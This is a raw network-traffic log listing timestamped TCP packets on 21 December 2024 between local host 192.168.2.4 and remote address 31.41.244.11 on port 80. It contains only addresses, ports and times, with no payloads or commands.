Dec 21, 2024 10:15:35.579770088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.579838991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.579880953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.579930067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.580570936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.580622911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.580624104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.580673933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.581376076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.581453085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.581562042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.581640959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.582207918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.582262993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.582324982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.582411051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.586739063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.586771965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.586807013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.586817980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.586817980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.586842060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.586852074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.586877108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.586894989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.586913109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.587022066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.587028980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.587121964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.587218046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.587331057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.588012934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.588107109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.588174105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.588232040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.588947058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.589097023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.589104891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.589199066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.589720011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.589807987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.589883089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.589982033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.590545893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.590604067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.590703011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.590760946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.591306925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.591392994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.591475964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.591547966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.592102051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.592231035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.592243910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.592284918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.592889071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.592941046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.593029976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.593101025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.593817949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.593976974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.593990088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.594047070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.594687939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.594733953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.594836950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.594886065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.595419884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.595480919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.595558882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.595613003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.596183062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.596235991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.596333027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.596370935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.597049952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.597170115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.597213984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.597266912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.597975016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.597990990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.598033905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.598083973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.598684072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.598788023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.598862886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.598958015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.599591017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.599756956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.599793911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.599868059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.747226000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.747289896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.747308969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.747354031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.747581959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.747642040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.747840881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.747900963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.748416901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.748676062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.748703957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.748761892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.749342918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.749516010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.749537945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.749577999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.749612093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.749624014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.750351906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.750417948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.750454903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.750680923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.751188993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.751274109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.751296997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.751331091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.751981974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.752144098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.752181053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.752422094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.752870083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.752949953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.752991915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.753042936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.753660917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.753717899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.753731966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.753967047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.754566908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.754600048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.754698038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.754698038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.755317926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.755436897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.755441904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.755479097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.756181002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.756355047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.756593943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.756973982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.757028103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.757028103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.757190943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.757365942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.757755995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.757821083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.757841110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.758014917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.758616924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.758673906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.758686066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.758744955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.759501934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.759582996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.759607077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.759663105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.760288954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.760353088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.760377884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.760504007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.761034012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.761212111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.761244059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.761461020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.761838913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.761933088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.761962891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.762273073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.762742996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.762809038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.762840033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.762887955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.763556957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.763659954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.763686895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.763719082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.764332056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.764461994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.764492035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.764590025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.765156984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.765243053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.765274048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.765403986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.766028881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.766108990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.766174078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.766798973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.766907930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.766952038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.767023087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.767750025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.767853022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.767893076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.768007994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.768428087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.768666029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.768692970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.768764973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.769349098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.769449949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.769562960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.769639969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.770165920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.770318985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.770345926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.770394087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.770982027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.771099091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.771136045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.771199942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.771739960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.771842003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.771867990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.772018909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.772583008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.772689104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.772721052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.772797108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.773407936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.773483038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.773554087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.773637056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.774286032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.774346113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.774359941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.774507046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.775053978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.775151014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.775171995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.775206089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.775924921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.775999069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.776042938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.776151896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.776707888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.776793003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.776823044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.777044058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.777534962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.777601957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.777693033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.778136015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.778398991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.778465033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.778489113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.778537035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.779149055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.779309988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.779339075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.779393911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.779989004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.780173063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.780206919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.780281067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.780808926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.780877113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.780906916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.780955076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.781660080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.781867981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.781899929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.781950951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.782502890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.782577991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.782607079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.782713890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.783272982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.783340931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.783376932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.783428907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.784109116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.784182072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.784192085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.784337997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.784971952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.785111904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.785144091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.785222054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.785856009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.785914898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.785942078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.786026955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.786612988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.786679029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.786688089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.786761045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.787391901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.787465096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.787540913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.787817001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.788271904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.788289070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.788330078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.788330078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.789077044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.789130926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.789148092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.789177895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.789855003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.789907932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.789921045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.789987087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.939294100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.939455032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.939482927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.939630985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.939659119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.939706087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.939835072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.940093994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.940587997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.940603971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.940685034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.940685034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.941279888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.941333055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.941576958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.941828012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.941854954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.941900969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.942344904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.942409992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.942428112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.942500114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.943228960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.943365097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.944000006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.944063902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.944171906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.944895029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.944936037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.945027113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.945681095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.945846081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.945998907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.946619987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.946635962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.947361946 CET	80	49808	31.41.244.11	192.168.2.4
